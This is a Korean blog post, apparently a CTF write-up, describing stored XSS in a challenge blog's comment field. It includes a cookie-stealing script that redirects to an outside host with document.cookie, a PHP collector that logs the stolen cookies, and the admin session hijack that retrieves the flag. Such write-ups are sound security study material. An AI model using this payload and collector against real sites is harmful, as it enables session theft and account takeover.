티스토리 뷰

해당 내용은 CTF 종료 후 서버가 일부 동작하지 않아 정확하지 않은 부분이 있을 수 있습니다.



귀여운 고양이 두마리가 반겨주는 블로그

아래쪽에는 글을 남길 수가 있다.


메인 페이지에서 다른 페이지가 직접적으로 나타난 부분은 없지만 많이 사용하는 페이지명을 입력해보면 아래와 같이 login.php 페이지가 존재하는 것을 확인할 수 있고, admin.php 페이지도 접근은 안되지만 접근 시도 시 login.php 페이지로 이동되는 것을 확인할 수 있다.


다시 메인 페이지로 돌아와서, 간단하게 alert 창을 띄우는 스크립트를 삽입해보았다.

<script>alert('xss');</script>


작성한 다음 다시 메인 페이지에 접근해보면 아래와 같이 창이 발생하여 삽입한 스크립트가 정상적으로 동작하는 것을 확인할 수 있다.


소스를 보면 삽입된 스크립트를 확인할 수 있다.


CTF 당시 글을 작성하고 일정 시간 뒤에 작성한 글이 삭제되는 것을 확인할 수 있었고, 주기적으로 서버에서 어떠한 처리를 한다는 것을 추측할 수 있었다.

그래서 관리자가 해당 글을 확인하고 삭제한다는 가정을 하고 글이 작성된 페이지에 접근 시 관리자의 세션 정보를 가로채는 스크립트를 삽입하였다.

<script>window.location.href='http://do9.kr/pwn/?c='+document.cookie;</script>


(XSS를 삽입하고 admin.php 페이지에 접근하면 접근한 세션의 페이지에 관리자가 접근하는 방식이거나 일정 시간마다 사람들의 페이지에 접근하는 방식으로 문제를 풀 수 있게 만들어놓지 않았을까? 생각하고 스크립트를 삽입하고 결과를 확인했지만 관리자 세션은 오지 않고 내 세션만 주구장창 날라와서 결국에는 못 풀었다. 다른 사람이 푼 방식하고 내가 시도한 방식의 어느 부분이 차이가 있는 걸까? 아직도 잘 모르겠다.)


삽입한 다음 확인해보면 Comment 부분이 보이지 않는 것을 볼 수 있다.


소스를 보면 삽입한 스크립트를 확인할 수 있다.


서버 쪽에 아래와 같이 받은 값을 파일로 저장하여 바로 확인할 수 있도록 코드를 작성하였다.

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
    $data = isset($_GET['c']) ? $_GET['c'] : false;
    if($data) {
        $fp = fopen('cookie.txt''a+');
        fputs($fp$data."\n");
        fclose($fp);
    }   
 
    foreach(glob('cookie.txt'as $filename) {
        $contents = implode(file($filename));
        print("$contents");
    }   
?>
cs


그리고나서 페이지에 방문해보면 관리자의 세션을 확인할 수 있다.

PHPSESSID=515386866780b5f132fc96c02b3ddb82


다른 사람이 작성한 내용들을 확인해보면 "http://172.17.118.91:8083/privateindex.php?id=do9dark" "Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) PhantomJS/1.9.0 Safari/534.34" 에서 삽입한 스크립트를 확인하여 페이지가 이동된 것을 알 수 있었다.


앞에서 확인한 관리자 세션으로 변경해준다.


세션을 변경하고 admin.php 페이지에 접근해보면 login.php 페이지로 이동되지 않고 접근이 되는 것을 볼 수 있고 Flag를 확인할 수 있다.


Flag: 61cd1f35a216dc79723605c1628c1132

댓글
«   2024/11   »
1 2
3 4 5 6 7 8 9
10 11 12 13 14 15 16
17 18 19 20 21 22 23
24 25 26 27 28 29 30
링크
공지사항
Total
Today
Yesterday